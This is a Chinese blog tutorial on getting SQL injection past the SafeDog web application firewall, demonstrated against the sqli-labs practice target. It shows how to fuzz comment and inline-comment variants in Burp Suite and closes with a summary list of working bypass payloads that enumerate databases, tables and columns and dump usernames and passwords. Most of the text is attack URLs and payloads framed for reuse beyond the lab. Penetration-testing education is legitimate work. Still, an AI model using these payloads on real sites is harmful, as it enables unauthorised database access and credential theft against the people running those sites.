作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:保持心脏震荡,等有人与我共鸣
sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下
一:环境配置
1.sqli-labs的sql注入靶场环境
这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样的
2.安全狗waf软件
这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)
链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg
提取码:emlg
下载之后跟着提示安全即可
注意:1.安装成功之后记得开启安全狗的网站保护
2.记得关闭安全狗的cc攻击防护,因为待会需要批量fuzz,可能被封ip
3.检测WAF是否起作用
这里以sqli-labs靶场的第一关做演示,如下
传入id=1后,加单引号,正常报错,说明可能存在注入
http://192.168.0.108/sql/less-1/?id=1'
再加入%23,回显正常,说明为字符型注入
安装注入逻辑,输入and 1=1逻辑判断语句,出现安全狗拦截页面,说明安全狗布置成功,如下
http://192.168.0.108/sql/less-1/?id=1' and 1 = 1 %23
二:思路讲解
如上,我们的and 1=1逻辑判断语句被拦截了,那现在的思路是什么?你认为现在应该做什么才能绕过过滤?这就是我首先要讲的,被拦截之后应该怎么处理。
1.语句被拦截的处理办法
这是最应该先做也是最简单的部分,因为WAF大都是通过黑名单的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的某个函数或其他位置触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实一个一个试就行了
例如我这里的and 1=1被拦截,就可以依次输入
and
and(空格)
and 1
and 1=
and 1=1
通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了
演示: 比如这里我输入and,正常,and+空格,正常,输入and 1出现拦截页面,如下
http://192.168.0.108/sql/less-1/?id=1' and 1 %23
说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换
大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,所以这里就要给大家讲一个新的知识点——FUZZ绕过
2.Fuzz绕过利用
Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试
演示:
比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload,对于各种位置的替换方式不明白的也可以看一下我的博客,点此进入
举个简单的例子,来看看下面这个语句
http://192.168.0.108/sql/less-1/?id=1' and 1=1 %23
如果我们想要替换空格,最常见的就是/**/,如下
http://192.168.0.108/sql/less-1/?id=1'/**/and 1=1 %23
但却不一定好用,大概率被过滤,其实/*和*/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*和*/中间的数据,将其作为变量进行爆破,如下
这里payload的类型选择burpsuite自带的Brute force,用特殊符号组成1-4位字典进行爆破,如下
再设置线程,开启爆破即可,结果如下
根据结果可以看到/!/!可以成功,配合包着的注释符就是/*/!/!*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧,下面就让我们一起来看看安全狗的WAF
三:绕过实战
1.验证存在注入
刚才我们通过对空格的替换方式的fuzz已经可以让如下语句正常执行了
http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=1 %23
我们再尝试一下,1=2的逻辑判断语句,再次验证是否成功绕过
http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=2 %23
此时页面出现报错,并没有正常显示,如下
现在已经成功验证除了注入,此时我们该做什么呢?一般都是通过order by语句来获取字段数量,下面让我们来试试
2.order by 绕过
我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下
http://192.168.0.108/sql/less-1/?id=1'order by 2 %23
老方法,判断报错位置,经过测试是因为order by这个语句被识别导致拦截,所以直接还是用fuzz替换空格,成功绕过,结果如下
http://192.168.0.108/sql/less-1/?id=1' order/*%26!%26!*/by 3 %2
只有字段数量为3时正常显示,其他都报错,说明此处的字段数为3,我们继续深入
3. union语句绕过
下一步就该我们的union语句了,再次尝试,果不其然又被拦截,如下,问题不大,我们继续尝试
http://192.168.0.108/sql/less-1/?id=1' union select 1,2,3 %23
这里我们继续尝试替换select和union之间的空格,如下
http://192.168.0.108/sql/less-1/?id=1' union/*%2f!%2f*/select 1,2,3 %23
结果发现不管用了
咦,怎么不管用了呢?这说明什么?这说明他并不是通过“union select”这个字符串来判断的,我们单独输入union试试,果不其然,直接被拦截
当单独的函数被拦截时,我们有两个选择,
一个就是替换union函数为其它函数,换一个能实现同样功能的函数
另一个就是给union加上过滤标志,让他能够绕过WAF的检测
这里我们选择给union加上过滤标志,这也是首选的,这里的过滤方式我们选择内敛注释绕过,内俩注释的格式如下
/*!特殊字符+函数名*!/
这也是比较好用的方式,但这里的特殊字符比较玄学,所以也需要通过fuzz来找出能绕过的版本号,先在版本号位置随便写个值作为变量,开启burpsuite,选中变量开启爆破,如下
http://192.168.0.108/sql/less-1/?id=1' /*!4000union*//*%2f!%2f*/select 1,2,3 %23
爆破设置与空格的爆破设置相同,这里就不多讲了,结果如下
fuzz成功跑出payload,而且还很多,随便选一个用,如下
http://192.168.0.108/sql/less-1/?id=1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
可以看到确实没有被拦截了,再将前面的1改成-1,使后面的union语句能够正常执行,如下
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
这样union语句也可以使用了,我们趁热打铁,继续继续
4.敏感信息绕过
刚才的union语句已经成功绕过,这时候我们就可以尝试用union语句获取数据,先获取当前数据库名,如下
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database(),2,3 %23
不出所料,直接拦死
这就很明显,database()函数被WAF识别并拦截了,那此时我们可以怎么绕过呢,当然,上面用的内联注释也是可行的,但这里我还给大家介绍一种绕过方式,那就是在database和()中间加注释,也能被解析,举个例子
原:database()
修:database/*xxx*/()
这时候同样,将里面的xxx作为变量,继续fuzz,设置和刚才一样,结果如下
又跑出来了一堆绕过姿势,6
此时语句为
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database/*%26!%26%26*/(),2,3 %23
好了,具体操作也就到这里了,再写的话就太多了,后面的获取表名,字段名,数据都会遇到安全狗的拦截,但是用上面的三种方法均可绕过,有兴趣的可以试试,下面也为你们准备了bypass安全狗的全部姿势
三.bypass安全狗姿势汇总
查询当前数据库名称
-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23
查询所有数据库名称
-1' union/*//--/*//*!--+/*%0aselect/*//--/*//*!--+/*%0a1,2,(select/*//--/*//*!--+/*%0agroup_concat(schema_name) from/*//--/*//*!--+/*%0a information_schema./*!schemata*/)%23
查指定数据库的所有表名
-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23
查指定表的所有字段名
-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name) from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
查指定表的指定字段数据
-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password)) from security.users --+